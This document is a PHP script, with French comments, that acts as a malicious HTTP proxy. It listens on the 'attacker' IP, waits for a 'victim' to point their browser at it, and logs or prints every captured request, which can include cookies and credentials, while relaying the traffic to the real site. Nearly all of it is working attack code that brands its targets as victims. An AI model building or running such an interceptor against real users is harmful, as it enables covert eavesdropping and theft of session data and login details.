--------------------------------------------------------------------- | Credits: Black_H | | URL: Lemon-Inside.sup.fr | | Note: Petit tool code for fun ^^ | --------------------------------------------------------------------- --------------------------------------------------------------------- | Usage: $argv[0] -ip | | Params: -ip L'IP de l'attaquant | 127.0.0.1 | | Options: -port Le port ou sera crée le socket | 666 | | -file Name of log file | Log-.txt | --------------------------------------------------------------------- ");exit(1); } # $Argv ########## $server_addr = getparam('ip',1); $server_port = (getparam('port')!='') ? getparam('port') : '666'; //Eviiiil ^^ $server_url = "$server_addr:$server_port"; $save_file = getparam('file'); //$save_file = (getparam('file')!='') ? getparam('file') : 'Log-'.rand().'.txt'; $do = FALSE; # Socket ########## $handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_bind($handle, $server_addr, $server_port); socket_listen($handle); print "\n[/]Attente d'une connection a $server_url"; print "\n[!]Maintenant la victime doit configurer sont navigateur ..."; do { $packet = ''; if(!$msg = socket_accept($handle)) exit(1); while(!ereg("\r\n\r\n",$packet)) $packet .= socket_read($msg, 2048, PHP_BINARY_READ); socket_getpeername($msg, $clientaddr, $clientport); print "\n[+]Reception de ".strlen($packet)." bytes de $clientaddr:$clientport"; if(preg_match("#Host: ([^/]+)\r\nUser#", $packet, $host)) { $url = explode(': ',$host[1]); $url = $url[0]; # Pas de Localhost Pliiiz =) ####################### if (preg_match("#localhost#", $url) || preg_match("#127.0.0.1#", $url)){ print "\n[/]Accès Interdit ! <$url>"; exit(1); } # Demande de log ? ####################### if ($save_file != ''){ if(create($save_file, $do)) $do = TRUE; save_listen($save_file, $packet); print "\n[/]Enregistrements des donnees recu de <$url>"; } else print "\n\n[-]Affichage des packets recus ...\n\n".$packet; get_site($url, $msg, $packet); } socket_close($msg); } while(TRUE); # Function which is like getopt() - (c) darkfig ################################### function getparam($param,$opt='') { global $argv; foreach($argv as $value => $key) { if($key == '-'.$param) return $argv[$value+1]; } if($opt) exit("-$param parameter required"); else return; } function create($name,$do=FALSE) { if (!$do) { $text = " BListen Log File --------------------------------------------------------------------- | Credits: Black_H | | URL: Lemon-Inside.sup.fr | --------------------------------------------------------------------- "; $open = fopen($name,"a+"); if (!fwrite($open, $text)) { print '\n[!]Impossible de creer le fichier '.$name; exit(1); } fclose($open); return TRUE; } else return TRUE; } function save_listen($name, $packet) { if (is_writable($name)) { $open = fopen($name,"a+"); if (!fwrite($open, $packet)){ print '\n[!]Impossible d\'écrire dans le fichier '.$name; exit(1); } fclose($open); } else { print '\n[!]Impossible d\'écrire dans le fichier '.$name; exit(1); } } function get_site($url, $msg, $packet) { $port = getservbyname('www', 'tcp'); $host = gethostbyname($url); $socket = @fsockopen($url,$port); /* $packet = "GET / HTTP/1.1\r\n"; $packet .= 'Host: '.$url."\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "\r\n";*/ fputs($socket,$packet); while(!feof($socket)){ $recv .= fgets($socket); } print "\n[+]Envoie de ".strlen($ecv)." bytes"; socket_write($msg, $recv, strlen($recv)); $recv = ''; unset($recv); } ?>